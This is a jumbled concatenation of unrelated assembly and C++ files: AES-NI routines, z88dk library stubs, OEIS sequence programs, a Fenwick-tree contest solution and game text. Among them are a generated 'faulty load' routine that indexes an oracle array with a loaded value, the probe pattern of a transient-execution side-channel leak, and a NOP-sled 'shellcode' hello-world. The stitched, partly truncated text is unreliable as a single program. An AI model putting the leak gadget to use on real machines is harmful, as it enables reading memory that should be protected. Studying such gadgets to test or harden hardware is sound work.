;# parameter 5: r8d
; save rdi and rsi to rax and r11, restore before ret
mov rax,rdi
mov r11,rsi
; convert to what we had for att&t convention
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8d,[rsp+40]
; on microsoft xmm6-xmm15 are non volaitle, let's save on stack and restore at end
sub rsp,8+4*16 ; 8 = align stack , 4 xmm9-12, 16 bytes each
movdqa [rsp+0], xmm9
movdqa [rsp+16], xmm10
movdqa [rsp+32], xmm11
movdqa [rsp+48], xmm12
mov r10,rdx
shr rdx,4
shl r10,60
je DECB_NO_PARTS_4
add rdx,1
DECB_NO_PARTS_4:
mov r10,rdx
shl r10,62
shr r10,62
shr rdx,2
je DECB_REMAINDER_4
sub rsi,64
DECB_LOOP_4:
movdqu xmm1,[rdi]
movdqu xmm2,16[rdi]
movdqu xmm3,32[rdi]
movdqu xmm4,48[rdi]
movdqa xmm9,[rcx]
movdqa xmm10,16[rcx]
movdqa xmm11,32[rcx]
movdqa xmm12,48[rcx]
pxor xmm1,xmm9
pxor xmm2,xmm9
pxor xmm3,xmm9
pxor xmm4,xmm9
aesdec xmm1,xmm10
aesdec xmm2,xmm10
aesdec xmm3,xmm10
aesdec xmm4,xmm10
aesdec xmm1,xmm11
aesdec xmm2,xmm11
aesdec xmm3,xmm11
aesdec xmm4,xmm11
aesdec xmm1,xmm12
aesdec xmm2,xmm12
aesdec xmm3,xmm12
aesdec xmm4,xmm12
movdqa xmm9,64[rcx]
movdqa xmm10,80[rcx]
movdqa xmm11,96[rcx]
movdqa xmm12,112[rcx]
aesdec xmm1,xmm9
aesdec xmm2,xmm9
aesdec xmm3,xmm9
aesdec xmm4,xmm9
aesdec xmm1,xmm10
aesdec xmm2,xmm10
aesdec xmm3,xmm10
aesdec xmm4,xmm10
aesdec xmm1,xmm11
aesdec xmm2,xmm11
aesdec xmm3,xmm11
aesdec xmm4,xmm11
aesdec xmm1,xmm12
aesdec xmm2,xmm12
aesdec xmm3,xmm12
aesdec xmm4,xmm12
movdqa xmm9,128[rcx]
movdqa xmm10,144[rcx]
movdqa xmm11,160[rcx]
cmp r8d,12
aesdec xmm1,xmm9
aesdec xmm2,xmm9
aesdec xmm3,xmm9
aesdec xmm4,xmm9
aesdec xmm1,xmm10
aesdec xmm2,xmm10
aesdec xmm3,xmm10
aesdec xmm4,xmm10
jb DECB_LAST_4
movdqa xmm9,160[rcx]
movdqa xmm10,176[rcx]
movdqa xmm11,192[rcx]
cmp r8d,14
aesdec xmm1,xmm9
aesdec xmm2,xmm9
aesdec xmm3,xmm9
aesdec xmm4,xmm9
aesdec xmm1,xmm10
aesdec xmm2,xmm10
aesdec xmm3,xmm10
aesdec xmm4,xmm10
jb DECB_LAST_4
movdqa xmm9,192[rcx]
movdqa xmm10,208[rcx]
movdqa xmm11,224[rcx]
aesdec xmm1,xmm9
aesdec xmm2,xmm9
aesdec xmm3,xmm9
aesdec xmm4,xmm9
aesdec xmm1,xmm10
aesdec xmm2,xmm10
aesdec xmm3,xmm10
aesdec xmm4,xmm10
DECB_LAST_4:
add rdi,64
add rsi,64
dec rdx
aesdeclast xmm1,xmm11
aesdeclast xmm2,xmm11
aesdeclast xmm3,xmm11
aesdeclast xmm4,xmm11
movdqu [rsi],xmm1
movdqu 16[rsi],xmm2
movdqu 32[rsi],xmm3
movdqu 48[rsi],xmm4
jne DECB_LOOP_4
add rsi,64
DECB_REMAINDER_4:
cmp r10,0
je DECB_END_4
DECB_LOOP_4_2:
movdqu xmm1,[rdi]
add rdi,16
pxor xmm1,[rcx]
movdqu xmm2,160[rcx]
cmp r8d,12
aesdec xmm1,16[rcx]
aesdec xmm1,32[rcx]
aesdec xmm1,48[rcx]
aesdec xmm1,64[rcx]
aesdec xmm1,80[rcx]
aesdec xmm1,96[rcx]
aesdec xmm1,112[rcx]
aesdec xmm1,128[rcx]
aesdec xmm1,144[rcx]
jb DECB_LAST_4_2
cmp r8d,14
movdqu xmm2,192[rcx]
aesdec xmm1,160[rcx]
aesdec xmm1,176[rcx]
jb DECB_LAST_4_2
movdqu xmm2,224[rcx]
aesdec xmm1,192[rcx]
aesdec xmm1,208[rcx]
DECB_LAST_4_2:
aesdeclast xmm1,xmm2
movdqu [rsi],xmm1
add rsi,16
dec r10
jne DECB_LOOP_4_2
DECB_END_4:
; restore non volatile rdi,rsi
mov rdi,rax
mov rsi,r11
; restore non volatile xmms from stack
movdqa xmm9, [rsp+0]
movdqa xmm10, [rsp+16]
movdqa xmm11, [rsp+32]
movdqa xmm12, [rsp+48]
add rsp,8+4*16 ; 8 = align stack , 4 xmm9-12 16 bytes each
ret
AES_ECB_decrypt ENDP
; /*
; void ,AES_128_Key_Expansion[const unsigned char*userkey
; unsigned char*key_schedule]/
; */
; . align 16,0x90
; . globl AES_128_Key_Expansion
AES_128_Key_Expansion PROC
;# parameter 1: rdi
;# parameter 2: rsi
; save rdi and rsi to rax and r11, restore before ret
mov rax,rdi
mov r11,rsi
; convert to what we had for att&t convention
mov rdi,rcx
mov rsi,rdx
mov dword ptr 240[rsi],10
movdqu xmm1,[rdi]
movdqa [rsi],xmm1
ASSISTS:
aeskeygenassist xmm2,xmm1,1
call PREPARE_ROUNDKEY_128
movdqa 16[rsi],xmm1
aeskeygenassist xmm2,xmm1,2
call PREPARE_ROUNDKEY_128
movdqa 32[rsi],xmm1
aeskeygenassist xmm2,xmm1,4
call PREPARE_ROUNDKEY_128
movdqa 48[rsi],xmm1
aeskeygenassist xmm2,xmm1,8
call PREPARE_ROUNDKEY_128
movdqa 64[rsi],xmm1
aeskeygenassist xmm2,xmm1,16
call PREPARE_ROUNDKEY_128
movdqa 80[rsi],xmm1
aeskeygenassist xmm2,xmm1,32
call PREPARE_ROUNDKEY_128
movdqa 96[rsi],xmm1
aeskeygenassist xmm2,xmm1,64
call PREPARE_ROUNDKEY_128
movdqa 112[rsi],xmm1
aeskeygenassist xmm2,xmm1,80h
call PREPARE_ROUNDKEY_128
movdqa 128[rsi],xmm1
aeskeygenassist xmm2,xmm1,1bh
call PREPARE_ROUNDKEY_128
movdqa 144[rsi],xmm1
aeskeygenassist xmm2,xmm1,36h
call PREPARE_ROUNDKEY_128
movdqa 160[rsi],xmm1
; restore non volatile rdi,rsi
mov rdi,rax
mov rsi,r11
ret
PREPARE_ROUNDKEY_128:
pshufd xmm2,xmm2,255
movdqa xmm3,xmm1
pslldq xmm3,4
pxor xmm1,xmm3
pslldq xmm3,4
pxor xmm1,xmm3
pslldq xmm3,4
pxor xmm1,xmm3
pxor xmm1,xmm2
ret
AES_128_Key_Expansion ENDP
; /*
; void ,AES_192_Key_Expansion[const unsigned char*userkey
; unsigned char*key]
; */
; . globl AES_192_Key_Expansion
AES_192_Key_Expansion PROC
;# parameter 1: rdi
;# parameter 2: rsi
; save rdi and rsi to rax and r11, restore before ret
mov rax,rdi
mov r11,rsi
; convert to what we had for att&t convention
mov rdi,rcx
mov rsi,rdx
; on microsoft xmm6-xmm15 are non volaitle, let's save on stack and restore at end
sub rsp,8+1*16 ; 8 = align stack , 1 xmm6, 16 bytes each
movdqa [rsp+0], xmm6
movdqu xmm1,[rdi]
movq xmm3,qword ptr 16[rdi]
movdqa [rsi],xmm1
movdqa xmm5,xmm3
aeskeygenassist xmm2,xmm3,1h
call PREPARE_ROUNDKEY_192
shufpd xmm5,xmm1,0
movdqa 16[rsi],xmm5
movdqa xmm6,xmm1
shufpd xmm6,xmm3,1
movdqa 32[rsi],xmm6
aeskeygenassist xmm2,xmm3,2h
call PREPARE_ROUNDKEY_192
movdqa 48[rsi],xmm1
movdqa xmm5,xmm3
aeskeygenassist xmm2,xmm3,4h
call PREPARE_ROUNDKEY_192
shufpd xmm5,xmm1,0
movdqa 64[rsi],xmm5
movdqa xmm6,xmm1
shufpd xmm6,xmm3,1
movdqa 80[rsi],xmm6
aeskeygenassist xmm2,xmm3,8h
call PREPARE_ROUNDKEY_192
movdqa 96[rsi],xmm1
movdqa xmm5,xmm3
aeskeygenassist xmm2,xmm3,10h
call PREPARE_ROUNDKEY_192
shufpd xmm5,xmm1,0
movdqa 112[rsi],xmm5
movdqa xmm6,xmm1
shufpd xmm6,xmm3,1
movdqa 128[rsi],xmm6
aeskeygenassist xmm2,xmm3,20h
call PREPARE_ROUNDKEY_192
movdqa 144[rsi],xmm1
movdqa xmm5,xmm3
aeskeygenassist xmm2,xmm3,40h
call PREPARE_ROUNDKEY_192
shufpd xmm5,xmm1,0
movdqa 160[rsi],xmm5
movdqa xmm6,xmm1
shufpd xmm6,xmm3,1
movdqa 176[rsi],xmm6
aeskeygenassist xmm2,xmm3,80h
call PREPARE_ROUNDKEY_192
movdqa 192[rsi],xmm1
movdqa 208[rsi],xmm3
; restore non volatile rdi,rsi
mov rdi,rax
mov rsi,r11
; restore non volatile xmms from stack
movdqa xmm6, [rsp+0]
add rsp,8+1*16 ; 8 = align stack , 1 xmm6 16 bytes each
ret
PREPARE_ROUNDKEY_192:
pshufd xmm2,xmm2,55h
movdqu xmm4,xmm1
pslldq xmm4,4
pxor xmm1,xmm4
pslldq xmm4,4
pxor xmm1,xmm4
pslldq xmm4,4
pxor xmm1,xmm4
pxor xmm1,xmm2
pshufd xmm2,xmm1,0ffh
movdqu xmm4,xmm3
pslldq xmm4,4
pxor xmm3,xmm4
pxor xmm3,xmm2
ret
AES_192_Key_Expansion ENDP
; /*
; void ,AES_256_Key_Expansion[const unsigned char*userkey
; unsigned char*key]
; */
; . globl AES_256_Key_Expansion
AES_256_Key_Expansion PROC
;# parameter 1: rdi
;# parameter 2: rsi
; save rdi and rsi to rax and r11, restore before ret
mov rax,rdi
mov r11,rsi
; convert to what we had for att&t convention
mov rdi,rcx
mov rsi,rdx
movdqu xmm1,[rdi]
movdqu xmm3,16[rdi]
movdqa [rsi],xmm1
movdqa 16[rsi],xmm3
aeskeygenassist xmm2,xmm3,1h
call MAKE_RK256_a
movdqa 32[rsi],xmm1
aeskeygenassist xmm2,xmm1,0h
call MAKE_RK256_b
movdqa 48[rsi],xmm3
aeskeygenassist xmm2,xmm3,2h
call MAKE_RK256_a
movdqa 64[rsi],xmm1
aeskeygenassist xmm2,xmm1,0h
call MAKE_RK256_b
movdqa 80[rsi],xmm3
aeskeygenassist xmm2,xmm3,4h
call MAKE_RK256_a
movdqa 96[rsi],xmm1
aeskeygenassist xmm2,xmm1,0h
call MAKE_RK256_b
movdqa 112[rsi],xmm3
aeskeygenassist xmm2,xmm3,8h
call MAKE_RK256_a
movdqa 128[rsi],xmm1
aeskeygenassist xmm2,xmm1,0h
call MAKE_RK256_b
movdqa 144[rsi],xmm3
aeskeygenassist xmm2,xmm3,10h
call MAKE_RK256_a
movdqa 160[rsi],xmm1
aeskeygenassist xmm2,xmm1,0h
call MAKE_RK256_b
movdqa 176[rsi],xmm3
aeskeygenassist xmm2,xmm3,20h
call MAKE_RK256_a
movdqa 192[rsi],xmm1
aeskeygenassist xmm2,xmm1,0h
call MAKE_RK256_b
movdqa 208[rsi],xmm3
aeskeygenassist xmm2,xmm3,40h
call MAKE_RK256_a
movdqa 224[rsi],xmm1
; restore non volatile rdi,rsi
mov rdi,rax
mov rsi,r11
ret
AES_256_Key_Expansion ENDP
MAKE_RK256_a:
pshufd xmm2,xmm2,0ffh
movdqa xmm4,xmm1
pslldq xmm4,4
pxor xmm1,xmm4
pslldq xmm4,4
pxor xmm1,xmm4
pslldq xmm4,4
pxor xmm1,xmm4
pxor xmm1,xmm2
ret
MAKE_RK256_b:
pshufd xmm2,xmm2,0aah
movdqa xmm4,xmm3
pslldq xmm4,4
pxor xmm3,xmm4
pslldq xmm4,4
pxor xmm3,xmm4
pslldq xmm4,4
pxor xmm3,xmm4
pxor xmm3,xmm2
ret
IF fips_version GE 2
fipsAh ENDS
ELSE
_text ENDS
ENDIF
END
|
; FILE *freopen(char *filename, char *mode, FILE *stream)
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_stdio
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $02
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC freopen_callee
EXTERN asm_freopen
freopen_callee:
pop hl
pop ix
pop de
ex (sp),hl
jp asm_freopen
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC freopen_callee
EXTERN freopen_unlocked_callee
defc freopen_callee = freopen_unlocked_callee
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
; void *zx_py2aaddr(uchar y)
SECTION code_clib
SECTION code_arch
PUBLIC zx_py2aaddr
EXTERN asm_zx_py2aaddr
defc zx_py2aaddr = asm_zx_py2aaddr
|
; A032927: Numbers whose set of base-6 digits is {1,2}.
; 1,2,7,8,13,14,43,44,49,50,79,80,85,86,259,260,265,266,295,296,301,302,475,476,481,482,511,512,517,518,1555,1556,1561,1562,1591,1592,1597,1598,1771,1772,1777,1778,1807,1808,1813,1814,2851,2852,2857,2858,2887,2888,2893,2894,3067,3068,3073,3074,3103,3104,3109,3110,9331,9332,9337,9338,9367,9368,9373,9374,9547,9548,9553,9554,9583,9584,9589,9590,10627,10628,10633,10634,10663,10664,10669,10670,10843,10844,10849,10850,10879,10880,10885,10886,17107,17108,17113,17114,17143,17144
mov $3,$0
mov $5,$0
add $5,1
lpb $5
mov $0,$3
sub $5,1
sub $0,$5
add $4,1
lpb $4
mov $2,2
sub $4,1
mov $6,0
lpb $0
mul $0,4
dif $0,8
sub $0,1
mul $2,6
add $6,$2
lpe
lpe
mov $2,$6
div $2,12
mul $2,4
add $2,1
add $1,$2
lpe
mov $0,$1
|
; A264891: a(n) = n*(5*n - 3)*(25*n^2 - 15*n - 6)/8.
; 0,1,112,783,2839,7480,16281,31192,54538,89019,137710,204061,291897,405418,549199,728190,947716,1213477,1531548,1908379,2350795,2865996,3461557,4145428,4925934,5811775,6812026,7936137,9193933,10595614,12151755,13873306,15771592,17858313,20145544,22645735,25371711,28336672,31554193,35038224,38803090,42863491,47234502,51931573,56970529,62367570,68139271,74302582,80874828,87873709,95317300,103224051,111612787,120502708,129913389,139864780,150377206,161471367,173168338,185489569,198456885,212092486,226418947,241459218,257236624,273774865,291098016,309230527,328197223,348023304,368734345,390356296,412915482,436438603,460952734,486485325,513064201,540717562,569473983,599362414,630412180,662652981,696114892,730828363,766824219,804133660,842788261,882819972,924261118,967144399,1011502890,1057370041,1104779677,1153765998,1204363579,1256607370,1310532696,1366175257,1423571128,1482756759,1543768975,1606644976,1671422337,1738139008,1806833314,1877543955,1950310006,2025170917,2102166513,2181336994,2262722935,2346365286,2432305372,2520584893,2611245924,2704330915,2799882691,2897944452,2998559773,3101772604,3207627270,3316168471,3427441282,3541491153,3658363909,3778105750,3900763251,4026383362,4155013408,4286701089,4421494480,4559442031,4700592567,4844995288,4992699769,5143755960,5298214186,5456125147,5617539918,5782509949,5951087065,6123323466,6299271727,6478984798,6662516004,6849919045,7041247996,7236557307,7435901803,7639336684,7846917525,8058700276,8274741262,8495097183,8719825114,8948982505,9182627181,9420817342,9663611563,9911068794,10163248360,10420209961,10682013672,10948719943,11220389599,11497083840,11778864241,12065792752,12357931698,12655343779,12958092070,13266240021,13579851457,13898990578,14223721959,14554110550,14890221676,15232121037,15579874708,15933549139,16293211155,16658927956,17030767117,17408796588,17793084694,18183700135,18580711986,18984189697,19394203093,19810822374,20234118115,20664161266,21101023152,21544775473,21995490304,22453240095,22918097671,23390136232,23869429353,24356050984,24850075450,25351577451,25860632062,26377314733,26901701289,27433867930,27973891231,28521848142,29077815988,29641872469,30214095660,30794564011,31383356347,31980551868,32586230149,33200471140,33823355166,34454962927,35095375498,35744674329,36402941245,37070258446,37746708507,38432374378,39127339384,39831687225,40545501976,41268868087,42001870383,42744594064,43497124705,44259548256,45031951042,45814419763,46607041494,47409903685,48223094161,49046701122,49880813143,50725519174,51580908540,52447070941,53324096452,54212075523,55111098979,56021258020,56942644221,57875349532,58819466278,59775087159
mov $1,$0
add $1,1
mov $2,-5
mul $2,$1
mov $0,$2
add $0,6
pow $0,2
mov $1,$2
add $2,$0
mul $0,$1
lpb $0
mov $0,1
add $2,1
mov $1,$2
pow $1,2
add $1,700
lpe
sub $1,709
div $1,40
|
; A108206: a(n)= 3*(n-1)*a(n-1) +(n-1)*a(n-2), with a(0)=1, a(1)=1.
; Submitted by Jamie Morken(s1)
; 0,1,3,20,189,2348,36165,665058,14219373,346585416,9485780589,288039271830,9609639556869,349403495309244,13751661631299813,582461437448921562,26417039609670967485,1277337284263389184272
mov $4,1
lpb $0
mul $2,$0
sub $0,1
mov $3,$4
mov $4,$2
mul $2,3
add $2,$3
lpe
mov $0,$2
|
Name: title-j.asm
Type: file
Size: 56225
Last-Modified: '1992-07-15T00:55:52Z'
SHA-1: E13036C714986BAF3DAD3EB55D6EFCEBC8ABB421
Description: null
|
; A094432: a(n) = rightmost term in M^n * [1 0 0]. M = the 3 X 3 stiffness matrix [1 -1 0 / -1 4 -3 / 0 -3 3].
; Submitted by Jamie Morken(s2)
; 0,3,24,165,1104,7347,48840,324597,2157216,14336355,95275896,633179973,4207956720,27965034003,185848661544,1235103986325,8208193936704,54549615616707,362523179503320,2409238895476197,16011202548279696,106406470326951795,707150939681097096,4699549284506210613,31232035818919811040,207560342990802592803,1379394421556142443064,9167112285531916209285,60922348490250047686704,404874777352213135610067,2690697082405454655700200,17881703663073719025110997,118837355562940660299586176
mov $2,1
lpb $0
sub $0,1
mul $2,3
mov $3,$1
mul $3,2
add $1,$3
add $2,$3
add $1,$2
lpe
mov $0,$1
|
; A225810: a(n) = (10^n)^2 + 4*(10^n) + 1.
; 6,141,10401,1004001,100040001,10000400001,1000004000001,100000040000001,10000000400000001,1000000004000000001,100000000040000000001,10000000000400000000001,1000000000004000000000001,100000000000040000000000001,10000000000000400000000000001,1000000000000004000000000000001,100000000000000040000000000000001,10000000000000000400000000000000001
mov $1,10
pow $1,$0
add $1,2
pow $1,2
sub $1,3
mov $0,$1
|
#include<bits/stdc++.h>
using namespace std;
#define ll long long
#pragma GCC optimize ("O3")
#pragma GCC target ("sse4")
template<typename T> T getint() {
T val=0;
char c;
bool neg=false;
while((c=getchar()) && !(c>='0' && c<='9')) {
neg|=c=='-';
}
do {
val=(val*10)+c-'0';
} while((c=getchar()) && (c>='0' && c<='9'));
return val*(neg?-1:1);
}
struct FenwickTree {
vector<ll> bit;
int n;
FenwickTree(int n) {
this->n = n;
bit.assign(n, 0);
}
// FenwickTree(vector<ll> a) : FenwickTree(a.size()) {
// for (size_t i = 0; i < a.size(); i++)
// update(i, a[i]); // puo' essere update(i, i, a[i])
// }
ll query(int r) {
ll ret = 0;
for (; r >= 0; r = (r & (r + 1)) - 1)
ret += bit[r];
return ret;
}
ll query(int l, int r) {
return query(r) - query(l - 1);
}
void update(int idx, int val) {
for (; idx < n; idx = idx | (idx + 1))
bit[idx] += val;
}
void update(int l, int r, int val) {
update(l, val);
update(r + 1, -val);
}
void print(){
for(auto a : bit)
cout << a << " ";
cout << endl;
}
};
vector<vector<int>> adj;
vector<int> nChilds;
void topologicalSortUtil(int v, vector<bool> &visited, stack<int> &Stack) {
visited[v] = true;
// Recur for all the vertices adjacent to this vertex
for(auto i : adj[v])
if (!visited[i])
topologicalSortUtil(i, visited, Stack);
// Push current vertex to stack which stores result
Stack.push(v);
}
vector<int> topologicalSort(int V){
stack<int> Stack;
vector<bool> visited(V, false);
// Call the recursive helper function to store Topological
// Sort starting from all vertices one by one
for (int i = 1; i < V; i++)
if (!visited[i])
topologicalSortUtil(i, visited, Stack);
vector<int> v;
while(!Stack.empty()){
v.emplace_back(Stack.top());
Stack.pop();
}
return v;
}
vector<int> ids;
void dfs(int node, vector<bool> &visited){
visited[node] = true;
ids.emplace_back(node);
for(auto a : adj[node]){
if(!visited[a])
dfs(a, visited);
}
}
void count_subnode(int s, int e) {
nChilds[s] = 1;
for(auto child : adj[s]){
if(child == e)
continue;
count_subnode(child, s);
nChilds[s] += nChilds[child];
}
}
int main() {
ios::sync_with_stdio(0);
cin.tie(0); cout.tie(0);
int N = getint<int>();
int Q = getint<int>();
adj.resize(N+2);
nChilds.resize(N+2);
vector<int> v(N+2);
for(int a = 1; a <= N; ++a){
int val = getint<int>();
v[a] = val;
}
for(int a = 0; a < N-1; ++a){
int parent = getint<int>();
int child = getint<int>();
adj[parent].emplace_back(child);
adj[child].emplace_back(parent);
}
auto ids = topologicalSort(N+1);
vector<int> rev_ids(N+1);
for(int a = 0; a < N; ++a){
rev_ids[ids[a]] = a+1;
}
count_subnode(1, 0);
auto BIT = FenwickTree(N+2);
for(int a = 1; a <= N; ++a){
BIT.update(a, v[ids[a-1]]);
}
for(int a = 0; a < Q; ++a){
int type = getint<int>();
if(type == 1){ // change the value of node s to x
int s = getint<int>();
int x = getint<int>();
auto diff = v[s] - x;
v[s] = x;
s = rev_ids[s];
BIT.update(s, -diff);
} else { // sum of values cin the subtree of node s
int s = getint<int>();
auto size = nChilds[s]-1;
s = rev_ids[s];
cout << BIT.query(s, s+size) << "\n";
}
}
} |
; A010967: a(n) = binomial coefficient C(n,14).
; 1,15,120,680,3060,11628,38760,116280,319770,817190,1961256,4457400,9657700,20058300,40116600,77558760,145422675,265182525,471435600,818809200,1391975640,2319959400,3796297200,6107086800,9669554100,15084504396,23206929840,35240152720,52860229080,78378960360,114955808528,166871334960,239877544005,341643774795,482320623240,675248872536,937845656300,1292706174900,1768966344600,2403979904200,3245372870670,4353548972850,5804731963800,7694644696200,10142940735900,13298522298180,17345898649800
add $0,14
bin $0,14
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r15
push %r9
push %rcx
push %rdx
push %rsi
lea addresses_UC_ht+0xd881, %rsi
nop
nop
nop
nop
add $277, %rcx
movw $0x6162, (%rsi)
nop
sub $26192, %rdx
lea addresses_normal_ht+0x1c618, %rsi
nop
add %r11, %r11
vmovups (%rsi), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %r15
nop
nop
nop
sub %rsi, %rsi
pop %rsi
pop %rdx
pop %rcx
pop %r9
pop %r15
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_WC+0xfc3f, %rsi
mov $0x41, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
xor $16731, %rax
mov $4, %rcx
rep movsl
nop
nop
nop
and %rax, %rax
// Store
lea addresses_UC+0x1f7c1, %rcx
nop
nop
nop
nop
nop
sub $26143, %r14
mov $0x5152535455565758, %rdi
movq %rdi, %xmm5
movaps %xmm5, (%rcx)
nop
nop
nop
nop
nop
and $32991, %rsi
// Store
lea addresses_WT+0x2fc1, %rsi
nop
nop
nop
nop
xor $57570, %rbp
mov $0x5152535455565758, %rcx
movq %rcx, %xmm6
vmovups %ymm6, (%rsi)
nop
nop
nop
add $16338, %rdi
// Load
lea addresses_WC+0xc61, %r12
nop
xor $13915, %rsi
movb (%r12), %cl
nop
nop
nop
nop
nop
cmp $34304, %rax
// Store
lea addresses_WC+0x2641, %rbp
nop
nop
nop
cmp %rax, %rax
mov $0x5152535455565758, %r12
movq %r12, (%rbp)
nop
nop
nop
nop
nop
add $25263, %rsi
// Faulty Load
lea addresses_A+0x27c1, %r12
nop
nop
nop
nop
xor %rdi, %rdi
movups (%r12), %xmm2
vpextrq $1, %xmm2, %rax
lea oracles, %r12
and $0xff, %rax
shlq $12, %rax
mov (%r12,%rax,1), %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_P', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 32, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_A', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 389}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
section .data
EatMsg: db 10, "Hello World from ShellCode", 10, 10
EatLen: equ $-EatMsg
section .text
global _start
_start:
nop ; nop sled 0_,
nop ; weee -------
nop ; weee ---------
nop ; weee -----------
nop ; weee ------------- 0_, end
jmp get_addr ; get address of str
run:
; write(stdout(1), EatMsg, EatLen)
xor eax, eax ; zero out register
mov eax, 4 ; sys_write syscall
mov ebx, 1 ; specify fd 1 stdout
;mov [EatMsg+27], byte ah ; replace N with null byte after EatMsg
mov ecx, EatMsg ; pass offset to msg
mov edx, EatLen ; pass len of msg
int 0x80 ; make syscall to output to stdout
; exit(0)
mov eax, 1 ; sepcify exit syscall
mov ebx, 0 ; exit with 0
int 0x80 ; syscall to end program
get_addr:
call run ; put addr of str on stack
section .bss
|
_DaisyInitialText::
text "Hi <PLAYER>!"
line "<RIVAL> is out at"
cont "Grandpa's lab."
done
_DaisyOfferMapText::
text "Grandpa asked you"
line "to run an errand?"
cont "Here, this will"
cont "help you!"
prompt
_GotMapText::
text "<PLAYER> got a"
line "@"
TX_RAM wcf4b
text "!@@"
_DaisyBagFullText::
text "You have too much"
line "stuff with you."
done
_DaisyUseMapText::
text "Use the TOWN MAP"
line "to find out where"
cont "you are."
done
_BluesHouseText2::
text "#MON are living"
line "things! If they"
cont "get tired, give"
cont "them a rest!"
done
_BluesHouseText3::
text "It's a big map!"
line "This is useful!"
done
|
; A082845: Partial sums of A082844.
; 2,5,7,10,12,14,17,19,22,24,26,29,31,34,36,39,41,43,46,48,51,53,55,58,60,63,65,68,70,72,75,77,80,82,84,87,89,92,94,96,99,101,104,106,109,111,113,116,118,121,123,125,128,130,133,135,138,140,142,145,147,150,152
add $0,2
mul $0,70
div $0,29
sub $0,2
|
; A086466: Decimal expansion of 2*sqrt(5)/5 arccsch(2).
; Submitted by Jon Maiga
; 4,3,0,4,0,8,9,4,0,9,6,4,0,0,4,0,3,8,8,8,9,4,3,3,2,3,2,9,5,0,6,0,5,4,2,5,4,2,4,5,7,0,6,8,2,5,4,0,2,8,9,6,5,4,7,5,7,0,0,6,1,0,3,9,9,2,5,6,1,2,1,5,4,6,1,1,3,1,9,6,1,3,6,1,4,9,0,2,6,4,6,9,7,2,1,9,9,5,5,4
add $0,1
mov $3,$0
mul $3,4
lpb $3
mul $1,$3
mul $2,-2
mov $5,$3
mul $5,2
add $5,1
mul $2,$5
add $1,$2
div $1,$0
add $2,$3
div $2,$0
sub $3,1
lpe
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
div $0,2
mod $0,10
|
; A152271: a(n)=1 for even n and (n+1)/2 for odd n.
; 1,1,1,2,1,3,1,4,1,5,1,6,1,7,1,8,1,9,1,10,1,11,1,12,1,13,1,14,1,15,1,16,1,17,1,18,1,19,1,20,1,21,1,22,1,23,1,24,1,25,1,26,1,27,1,28,1,29,1,30,1,31,1,32,1,33,1,34,1,35,1,36,1,37,1,38,1,39,1,40,1,41,1,42,1,43,1,44
add $0,1
mov $1,$0
div $0,2
gcd $0,$1
|
//! @file
